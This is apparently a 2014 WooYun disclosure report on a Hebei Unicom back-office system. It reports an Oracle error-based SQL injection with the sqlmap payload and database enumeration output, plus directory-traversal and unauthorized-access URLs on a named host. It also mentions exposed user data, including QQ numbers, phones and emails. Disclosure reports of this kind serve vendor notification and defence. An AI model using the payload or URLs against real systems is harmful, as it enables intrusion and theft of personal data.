漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2014-086409
漏洞标题:联通万家某后台系统SQL注入+目录遍历+未授权访问
相关厂商:联通万家
漏洞作者: Mr.leo
提交时间:2014-12-08 17:09
修复时间:2015-01-22 17:10
公开时间:2015-01-22 17:10
漏洞类型:SQL注射漏洞
危害等级:高
自评Rank:15
漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2014-12-08: 细节已通知厂商并且等待厂商处理中
2014-12-12: 厂商已经确认,细节仅向厂商公开
2014-12-22: 细节向核心白帽子及相关领域专家公开
2015-01-01: 细节向普通白帽子公开
2015-01-11: 细节向实习白帽子公开
2015-01-22: 细节向公众公开
简要描述:
联通万家某后台系统SQL注入+目录遍历+未授权访问
详细说明:
http://b.ltyg.cn/BManage/SSO/DoLogin.aspx?check=1 河北联通综合信息管理系统
1、sql注入
http://b.ltyg.cn/EcManage/request/ShowLeaveword.aspx?ids=1 ids参数没有过滤
sqlmap identified the following injection points with a total of 34 HTTP(s) requests:
---
Place: GET
Parameter: ids
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: ids=1) AND 7504=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(108)||CHR(103)||CHR(97)||CHR(58)||(SELECT (CASE WHEN (7504=7504) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(112)||CHR(101)||CHR(113)||CHR(58)||CHR(62))) FROM DUAL) AND (6419=6419
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ids
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: ids=1) AND 7504=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(108)||CHR(103)||CHR(97)||CHR(58)||(SELECT (CASE WHEN (7504=7504) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(112)||CHR(101)||CHR(113)||CHR(58)||CHR(62))) FROM DUAL) AND (6419=6419
---
current user: 'COMM'
current schema (equivalent to database on Oracle): 'COMM'
available databases [8]:
[*] COMM
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WMSYS
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: ids
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: ids=1) AND 7504=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(108)||CHR(103)||CHR(97)||CHR(58)||(SELECT (CASE WHEN (7504=7504) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(112)||CHR(101)||CHR(113)||CHR(58)||CHR(62))) FROM DUAL) AND (6419=6419
---
Database: COMM
[346 tables]
345张表,2w+用户数,字段里面涉及qq号码、手机号码、邮箱地址
部分数据
2、目录遍历
http://b.ltyg.cn/BManage/SSO/
3、未授权访问
http://b.ltyg.cn/BManage/
漏洞证明:
已经证明
修复方案:
1、过滤参数
2、鉴权
版权声明:转载请注明来源 Mr.leo@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:11
确认时间:2014-12-12 19:25
厂商回复:
CNVD确认并复现所述情况,已经转由CNCERT下发给河北省分中心,由其后续协调网站管理单位处置。
最新状态:
暂无